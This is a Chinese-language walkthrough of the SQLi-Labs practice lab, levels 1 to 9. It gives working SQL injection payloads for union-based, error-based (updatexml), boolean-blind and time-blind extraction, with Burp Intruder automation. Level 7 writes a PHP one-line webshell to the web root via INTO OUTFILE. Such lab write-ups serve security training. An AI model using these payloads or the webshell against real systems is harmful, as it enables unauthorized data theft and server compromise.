SQL注入
SQLi-Labs
Less-1
字符型注入 | 单引号闭合 | 联合查询
- 当我们传入参数
id=1
、id=2
… 页面回显不一样的内容:
说明数据库中的数据可以回显到前端页面,然后需要考虑是字符型还是数字型注入,注入单引号后:
页面回显报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
错误信息用一对单引号引起来的,所以错误的sql语句内容为:'1'' LIMIT 0,1
,发现id在页面中且 ‘1’ 后面多了一个单引号,所以判断为字符型注入,所以我们需要引入单引号与原来sql语句前面的单引号构成一对,使之闭合;
- 为什么要闭合?
如果不闭合sql就会将我们注入的sql语句全放在 ’ ’ 里面,成为字符串,注入语句失效!
我们发现还有其他sql语句 LIMIT 0,1
,为防止它影响结果需使用 --+
注释掉。(或者使用#的url编码:%23)
- 闭合并注释
注入用于闭合的单引号和用于注释后面sql语句的--+
:id=1' --+
页面正常回显。
- 判断是否存在布尔型注入
注入恒真sql语句:id=1' and 1=1 --+
注入恒假sql语句:id=1' and 1=2 --+
结果:两次页面状态不一样,说明存在布尔类型状态。
- 是否存在延时注入
注入延时函数:id=1' and sleep(5) --+
结果响应请求为6000多毫秒即6秒多,存在延时注入。
- 联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入,就是SQL语法中的union select
语句,该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接:select ~~ union select ~~
,由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。
1)判断字段个数:?id=1' order by 4 --+
结果报错,[Unknown column]即mysql没有找到对应的列;修改字段个数:?id=1' order by 3 --+
,页面正常回显,说明字段数为3。
- 注意
当order by 不能使用时,可以使用union select null,null,null...
,增加null数直到报错,找出字段数。
2)联合查询
要使后面的联合语句生效,需前面的查询语句恒为假即注入sql语句:?id=1' and 1=2 union select 1,2,3 --+
成功显示联合查询内容,此时将回显处改为我们想要获取的数据库信息语句即可,如查询版本号、数据库名:?id=1' and 1=2 union select 1,version(),database() --+
:
注入成功!
Less-2
数字型注入 | 联合查询
- 和第一关基础步骤一样;
- 判断字符型、数字型注入
注入单引号:?id=1'
报错信息为:' LIMIT 0,1
,分页语句前面多了一个我们注入的单引号,所以为数字型。
- 联合查询
?id=-1 union select 1,version(),database() --+
Less-3
字符型注入 | 单引号、括号闭合 | 联合查询
- 注入单引号
报错信息为:'1'') LIMIT 0,1
;
- 闭合、注释后面sql语句
id=1') --+
- 联合查询
?id=-1') union select 1,version(),database() --+
Less-4
字符型注入 | 双引号、括号闭合 | 联合查询
- 注入单引号,页面没有变化;
- 注入双引号:
?id=1"
报错信息为:"1"") LIMIT 0,1
,双引号、括号闭合且为字符型。
- 闭合、注释
?id=1") --+
- 联合查询
?id=-1") union select 1,version(),@@datadir --+
,@@datadir:数据库路径
Less-5
字符型注入 | 报错注入 | 无回显 | 单引号闭合
- 当我们注入参数
?id=1
、?id=2
… 页面不变化,都是同一个页面(没有回显)
- 注入单引号
报错信息为:'1'' LIMIT 0,1
,可知为字符型注入、单引号闭合、有分页语句。
- 闭合、注释;
- 报错注入
?id=1' and updatexml(1,concat('^',(select database()),'^'),1) --+
Less-6
字符型注入 | 双引号闭合 | 无回显
- 当我们注入参数
?id=1
、?id=2
… 页面不变化,都是同一个页面(没有回显); - 注入单引号,无报错;
- 注入双引号,有报错信息,判断为双引号闭合;
- 报错注入
?id=1' and updatexml(1,concat('^',(select database()),'^'),1) --+
Less-7
无回显 | 无报错 | 字符型注入 | '))闭合 | 文件读写
- 传入id参数,页面无变化;注入单引号无sql语句错误精确提示;
- 字符型注入,’))闭合;
- 联合查询,注入一句话木马;
?id=1')) union select 1,"<?php @eval(\$_REQUEST[hello])?>",3 into outfile "e:\\phpstudy\\www\\1.php" --+
- 在url中传入参数即可
半自动化注入
Less-8
- 传入id页面无变化;注入单引号无报错;
- 存在布尔类型,布尔盲注,结合Bp工具实现半自动化注入;
- 获取数据库名
- 第一步判断数据库名长度
?id=1' and length(database())=1--+
,bp抓包结果:
发送至Intruder模块
定义变量(这里1就是我们的变量),选择字典(这里由于是判断数据库名长度就选择0-9即可),开始注入:
观察结果,只有Payload为8时,长度最短,说明数据库名长度为8
- 第二步判断数据库名,截取数据库名的第一个字母,开始匹配ascii值
?id=1' and ascii(substr(database(),1,1))=0 --+
抓包–>发送至Intruder模块–>定义变量–>定义字典–>开始注入
注意:这里我们有两个变量(变量1:确定第几个字母、变量2:数据库名的字母),所以需要两个字典
结果分析:
Less-9
- 传入id页面无变化;注入单引号无报错;无布尔类型;
- 注入延时,发现有延时注入;
- 使用半自动化注入
- 判断数据库名长度
?id=1' and if((length(database())=1),sleep(5),1) --+
结果:当Payload为8时,length最长
- 判断数据库名
?id=1' and if((substr(database(),1,1)='a'),sleep(5),1) --+
结果:数据库名为security